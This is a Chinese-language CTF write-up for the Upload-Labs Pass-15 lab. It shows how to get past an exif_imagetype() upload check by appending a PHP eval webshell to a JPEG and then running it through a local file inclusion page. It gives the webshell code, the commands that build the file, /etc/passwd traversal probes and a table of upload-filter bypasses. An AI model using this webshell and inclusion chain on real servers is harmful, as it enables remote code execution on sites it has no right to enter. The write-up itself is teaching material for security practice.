Pass-15这关,卡了我一整个下午。不是说它难,而是它把“文件上传”和“文件包含”这两个看似独立的漏洞点,用一条非常巧妙的链路串了起来。你必须先想明白 exif_imagetype 到底在检查什么,才能绕过它;你得先理解图片马为什么能执行,才能让一句话木马真正“活”过来。如果你刚接触CTF Web,或者对文件上传漏洞的绕过思路还停留在后缀名、Content-Type这些层面,那这篇Writeup建议你仔细看。我尽量不讲废话,直接把踩过的坑和最终的拿flag路径,一条条捋给你。
先说结论:这道题的核心考点是,服务端使用了exif_imagetype()函数校验上传文件是否为图片类型。它只检查文件头部的“图片签名”,不关心文件尾部附着了什么。所以解法就是:准备一张真的JPEG图片,把PHP代码追加在文件末尾,上传成功后,再借助文件包含漏洞去包含这个“图片马”,PHP代码就会被解析执行,最终拿到flag。下面我把从思路拆解到实操细节,一步步展开。
1. 题目环境与解题链路拆解
1.1 关卡功能分析
打开Pass-15,界面和之前的关卡差不多:一个文件上传表单,一个“上传”按钮,附带一句提示信息,大概意思是“本关只允许上传图片类型文件”。这句话信息量很大,它默认了你是知道检测机制的,但没告诉你用的什么函数。很多新手一上来就传个.php,直接被拦;再传个改了后缀名的.jpg,依然被拦。这时候就要冷静下来,先摸清楚服务端到底做了什么校验。
在Upload-Labs系列靶场里,每一关的源码都在服务端目录下,Pass-15的检测代码大致是这个逻辑:
$isImage = exif_imagetype($_FILES['upload_file']['tmp_name']); if (in_array($isImage, [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF])) { // 允许上传,保存文件 } else { // 拒绝上传 }exif_imagetype()这个函数,很多人不熟悉。它不是看你文件后缀是不是.jpg,也不是看你HTTP请求里的Content-Type是不是image/jpeg,而是直接读取上传文件的二进制内容,只取开头的几个字节,和JPEG、PNG、GIF的“文件头签名”做比对,返回对应的整数常量。
这里的关键点就浮现出来了:它检查的是文件“头部”,而不是整个文件。也就是说,只要文件头是FF D8 FF(JPEG签名),后面哪怕你追加了1KB的PHP代码,exif_imagetype()依然会把整个文件判定为JPEG图片。这就是绕过检测的核心依据。
1.2 一句话概括解题路线
整个通关流程可以用三步概括:
- 制作图片马:用一张正常的JPEG图片,在文件末尾追加PHP一句话木马。
- 上传图片马:正常提交,因为文件头合法,会被判定为图片放行。
- 文件包含触发:找到靶场里的文件包含点,让服务端把图片马当PHP文件解析,从而执行木马,读取flag。
这三步缺一不可。没有图片马,只有一个正常图片,包含了也执行不了代码;没有文件包含点,图片马上传上去了也只是一张“带杂质的图片”,永远不会被PHP解析。这也是为什么我把这关称作“组合漏洞”的原因——单拎出来任何一个点,都不算特别难,但串成一条链,就非常考验对漏洞本质的理解。
2. 三个关键技术点的原理拆解
2.1 exif_imagetype 只认“脸”不认“心”
exif_imagetype()是PHP内置的一个图像检测函数,它的工作过程和getimagesize()有相似之处,但更轻量。它的逻辑是:读取文件的前若干个字节,通过二进制签名判断文件属于哪种图片格式。
常见的图片签名如下:
| 图片格式 | 起始字节(十六进制) | IMAGETYPE常量 |
|---|---|---|
| JPEG/JPG | FF D8 FF | IMAGETYPE_JPEG = 2 |
| PNG | 89 50 4E 47 | IMAGETYPE_PNG = 3 |
| GIF | 47 49 46 38 | IMAGETYPE_GIF = 1 |
CTF里常说的“文件头”“魔数”“魔术字节”,指的都是这类信息。exif_imagetype()有点像火车站安检口的“人脸识别闸机”——它只看你是不是“那张脸”,至于你背包里装了什么,它不管。这与getimagesize()不同,后者会尝试解析整个图片结构,一旦图片文件被破坏,getimagesize()可能直接报错,而exif_imagetype()只要头几个字节对得上,它就放行。
我特意去查了一下PHP手册,exif_imagetype()实际上会读取文件的前12个字节,并对部分格式做进一步验证。但对JPEG来说,关键的判定依据就是前三个字节FF D8 FF。这意味着,我们构造的JPEG图片马,完全不需要是高保真大图,哪怕用画图工具随便存一张1×1像素的JPEG,只要前三个字节合规,就能通过检测。
2.2 图片马是怎么跑起来的
图片马的核心思想是:把PHP代码“藏”在一个合法图片文件里。最常见的方式是用一句话木马,例如:
<?php @eval($_POST['cmd']); ?>或者简单一点:
<?php phpinfo(); ?>在Pass-15里,我建议先传一个phpinfo();的图片马,验证代码能被解析,再传包含eval($_POST['cmd'])的版本,用蚁剑或冰蝎连接。为什么?因为如果直接上蚁剑连不上,你没办法确定是图片马制作问题、包含路径问题,还是连接工具配置问题。先传个无害的phpinfo(),只要执行了,就说明链路全通,接下来再换马就够了。
那么问题来了:为什么追加在图片尾部的PHP代码,在被上传后,只要被“包含”就能执行?
这涉及到PHP文件的解析机制。当PHP通过include或require引入一个文件时,它会把这个文件的内容当作PHP代码来解析。文件后缀名在大多数情况下不影响这个行为——你去include一个.txt文件,里面写了<?php phpinfo(); ?>,一样会执行。唯一的要求是:文件内容里能被识别为PHP代码的片段,必须是以<?php开头的块。
这一点还有个有趣的延伸:如果文件里既有图片数据,又有PHP代码,那PHP解析器对图片数据的处理方式是什么?答案是,它会尝试把图片的二进制数据当PHP代码解析,遇到无法识别的字节就跳过或报错(普通输出),直到遇到<?php才开始执行。这也是为什么图片马通常不会破坏图片本身,“图片显示正常,但包含后能执行代码”,这个特征在Pass-15里体现得淋漓尽致。
2.3 文件包含漏洞的连接作用
有了合法的图片马,还需要一个“点火”的动作,这个动作就是文件包含。Pass-15的配套漏洞,通常是一个通过URL参数控制文件的页面,类似:
<?php $file = $_GET['file']; include($file); ?>这就是典型的本地文件包含(LFI)。攻击者可以控制$file变量的值,把它指向任意一个服务器上的文件。当我们把$file指向刚上传的图片马路径,图片马里的PHP代码就会被包含进来并执行。
这里有一个很多人忽视的点:Pass-15的检测逻辑里,上传目录和包含参数之间经常存在多层目录。比如上传后的路径可能是./upload/xxx.jpg,而包含页面在根目录include.php。如果URL里直接写相对路径,可能会因为目录层级不对而找不到文件。所以实操的时候,我会先确认上传后返回的路径信息,再决定包含参数怎么写。
文件包含漏洞的威力,往往取决于它和什么漏洞配合。单独的文件包含,可能只能读取敏感文件;一旦和文件上传组成“组合拳”,RCE(远程代码执行)就是大概率事件。Pass-15这道题,设定上就是专门为了让你体验这种组合攻击的。
3. 完整实操:从零打通Pass-15
3.1 环境准备与信息收集
实操前,先把环境确认好。我这里用的是本地搭建的Linux版Upload-Labs靶场,PHP版本是5.x或7.x均可,Apache或Nginx都行。浏览器我用的是Chrome,配合Burp Suite抓包看响应。如果你没有Burp,直接用浏览器开发者工具也能应付大部分情况。
打开Pass-15页面后,我习惯先做三个动作:
- 看页面HTML源码,找表单和任何前端JS限制。这一步可以发现前端是否做了后缀名校验(Pass-01的坑),以及是否有隐藏字段。
- 提交一张正常图片,观察返回信息。这能帮我确认上传成功的提示格式、文件保存路径、是否重命名等关键信息。
- 访问常见的
include.php、?file=等页面,判断文件包含点是否存在。
Pass-15的表单没有任何前端JS限制,直接传就行。上传成功后,返回的消息里会直接给出文件路径,例如../upload/或./upload/。记录下这个路径,后面要用。
3.2 制作JPEG图片马
图片马制作,我推荐两种方式,都实测可用。
方法一:Linux命令行追加
先准备一张任意JPEG图片,命名为avatar.jpg,然后在同一目录下执行:
echo '<?php @eval($_POST["cmd"]); ?>' >> avatar.jpg这条命令的作用是把PHP代码“追加”到图片文件的末尾。关键在于>>,这是追加写入,不会覆盖原文件内容。执行完以后,avatar.jpg的前几个字节依然是FF D8 FF,尾部多了PHP代码。
方法二:Windows下的copy命令
如果你用的是Windows,可以在命令行里这样做:
copy /b avatar.jpg + shell.txt shell.jpg前提是你先建一个shell.txt,里面写上一句话木马内容。/b参数表示二进制合并。原理和Linux追加一致,只是工具不同。
两种方法最终生成的shell.jpg,我建议先用hexdump或16进制编辑器确认头部:
xxd shell.jpg | head -n 1如果输出以ffd8ff开头,那说明图片头完好。这个动作非常关键,我有一次马制作失败,就是因为在Windows下没加/b参数,结果文件头部被文本内容污染了,上传时被exif_imagetype()直接判定为非图片。
3.3 上传图片马与响应观察
在Pass-15页面选择制作好的shell.jpg,点击上传。这一步正常操作,不需要改后缀、不需要改MIME类型,因为文件头本身就是合法的JPEG签名。
上传成功后,页面会提示类似“上传成功!”并显示上传目录。如果你抓包观察响应体,会看到返回的路径信息。这里有个细节:文件是否被重命名?有些关卡会把上传文件改为时间戳文件名,比如1718000000.jpg。如果重命名了,图片马内容不被修改,所以不影响后续包含执行。但如果关卡对文件名做了“过滤扩展名”处理,比如把.jpg改成.txt,那就需要注意,但Pass-15不涉及这个。
为了保险,我还会做一次“二次校验”:从我上传的目录直接访问这个图片,看浏览器能不能正常显示图片。如果图片能显示,说明图片结构基本完好,没有因为追加代码而被破坏(其实PHP代码追加到尾部,对图片解析没有影响)。这一步能排除图片本身损坏的情况。
3.4 精准命中文件包含点,完成RCE
接下来是最核心的一步:找到并利用文件包含点。
在Pass-15的环境里,通常会有一个类似include.php的文件,源码大致是:
<?php $file = $_GET['file']; include($file); ?>访问它的时候构造:
include.php?file=upload/shell.jpg注意这里的upload/shell.jpg路径,是相对于include.php所在目录的。如果你的环境里上传目录是../upload/,那URL就要相应调整。我习惯先放一个很明显的路径试探,比如:
include.php?file=upload/shell.jpg如果页面出现了phpinfo()的输出,说明图片马里的PHP代码已经成功执行,攻击链路全通。如果页面显示乱码或出现图片的二进制内容,那大概率是路径错误或者PHP代码没有被解析。
拿到phpinfo()后,再把一句话木马换成eval($_POST['cmd'])的版本,重新上传、包含,然后用蚁剑连接。连接地址就是包含页面的URL,连接密码是cmd。蚁剑连上后,flag通常就躺在服务器根目录、/flag、/flag.txt或当前目录下,直接读取即可。
我自己的习惯是,连上后先执行whoami和ls -la,确认运行用户和当前目录,再顺着目录结构找flag。很多朋友一上来就cat /flag,结果找不到,就开始怀疑前面的步骤出了问题——其实只是因为没先看目录结构。
4. 常见问题与排查技巧实录
4.1 图片马上传失败:提示“文件不是图片类型”
这个问题的原因通常只有一个:图片马的头部校验没通过。可能是你找的图片本身就不是一个正规JPEG文件,比如把.php直接改名为.jpg;也可能是Windows下用copy命令时没加/b参数,导致文件头部被写入文本字符。
解决办法是,准备一张真实有效的JPEG图片(可以用系统自带的画图工具打开后另存为JPEG格式),再用xxd或者010 Editor这类工具看文件头。如果头部是FF D8 FF,那exif_imagetype()绝对会放行。如果头部不是,说明图片文件本身有问题。
4.2 文件包含后显示乱码或下载了图片
如果你访问include.php?file=upload/shell.jpg之后,浏览器出现一堆二进制乱码,或者直接弹出一个图片下载框,说明文件被包含进来了,但PHP代码没有被执行。为什么?
一个非常常见的原因是,包含点用了readfile()而不是include,前者是直接输出文件内容,后者才会解析PHP代码。如果源码是readfile($file),那这关就不是考RCE,而是考任意文件读取了。遇到这种情况,你就只能读文件,不能执行代码,需要换一个思路(比如读取源码,二次寻找其他入口)。
另一种可能是,图片马里的PHP代码写错了。比如少写了<?php,或者用<?短标签但PHP配置关闭了short_open_tag。我建议一律写完整的<?php,不要图省事用短标签。
4.3 包含路径总是不对
这是操作环节最容易翻车的点。上传后返回的路径可能是../upload/xxx.jpg,也可能是upload/xxx.jpg,还可能是绝对路径。你要先确定include.php的位置,再从它出发推导相对路径。
我有个笨但有效的方法:先让包含点读一次自己的源码,确认路径格式。比如访问:
include.php?file=include.php如果页面原样输出了PHP源码(注意,include包含自身时,PHP会先解析再输出,通常不会输出源码,这里只是举例)。更稳妥的做法是,先读/etc/passwd或一个确定存在的文件,如果include.php?file=../../../../etc/passwd能看到内容,说明包含点在移动;接着再根据目录层级推算上传目录的路径。
这个验证方法很值得养成习惯:每一次打LFI,我都先读绝对路径的已知文件,确定包含成功,再去读目标文件。否则你花了十分钟改路径,最后发现文件根本不存在,心态很容易崩。
4.4 其他常见问题速查
我把这关可能遇到的问题整理成了一张表,方便你对照排查:
| 现象 | 可能原因 | 解决办法 |
|---|---|---|
| 上传提示“不是图片” | 图片头损坏 | 重新制作图片马,用真实JPEG头 |
| 上传成功但包含后无反应 | 包含路径错误 | 先用/etc/passwd验证包含点 |
| 包含后是乱码 | 使用了readfile()而非include | 找其他包含点,或读取源码找新思路 |
图片马执行了phpinfo()但蚁剑连不上 | 马的内容不对/连接密码错误 | 换标准eval($_POST['cmd']),核对密码 |
| 上传文件被重命名 | 关卡配置了时间戳重命名 | 不影响图片马执行,改路径即可 |
exif_imagetype显示非图片但头部明明是JPEG | 上传时被二次写入内容覆盖头部 | 检查上传过程是否被服务端代码二次处理 |
4.5 绕过检测的一个可复用的套路
Pass-15用的是exif_imagetype(),但它只是文件上传校验家族里的一员。以后遇到类似关卡,你可以在脑子里建立一个“校验函数—绕过方法”的对照表:
| 服务端校验方式 | 绕过思路 |
|---|---|
| 后端校验Content-Type | 抓包改Content-Type: image/jpeg |
| 后端校验文件头(getimagesize/exif_imagetype) | 制作图片马,末尾追加代码 |
| 后端校验扩展名(黑名单) | 尝试.php3、.phtml、.pht等 |
| 后端校验扩展名(白名单) | 配合文件包含漏洞,上传图片马 |
| 二次渲染 | 用保留PHP代码的图片,或攻击imagecopyresampled的逻辑 |
| 条件竞争 | 先上传合法文件,在删除前瞬间访问执行 |
这张表也是我打文件上传类题目的底层框架。每遇到一关,我先判断它属于哪种校验方式,再调对应的绕过套路,效率会高很多。
Pass-15这个关卡,本质上就是“白名单+文件包含”的组合变种。它不要求你有多少骚操作,只要你把函数机制吃透,把图片马做对,把路径找对,就能顺理成章地打通。
我个人在实际操作中的体会是,这类题目最考验人的不是技术难度,而是“是否愿意动手验证每个不确定点”。比如上传后先看文件头、先读一个已知文件确认包含点,这些步骤看起来繁琐,但能省下后面大量试错的时间。踩过几次坑之后你就会明白,Writeup里那些看似轻松的“然后执行木马拿到flag”,背后都是无数次的路径调试和细节核对。
最后再分享一个小技巧:如果你打的靶场版本比较老,上传目录下可能已经躺了很多别人上传的马,不要直接拿过来用,因为可能是带后门的。自己动手造一个干净的图片马,成本不到一分钟,安全又可控。CTF练的是思路和手艺,不是捡漏。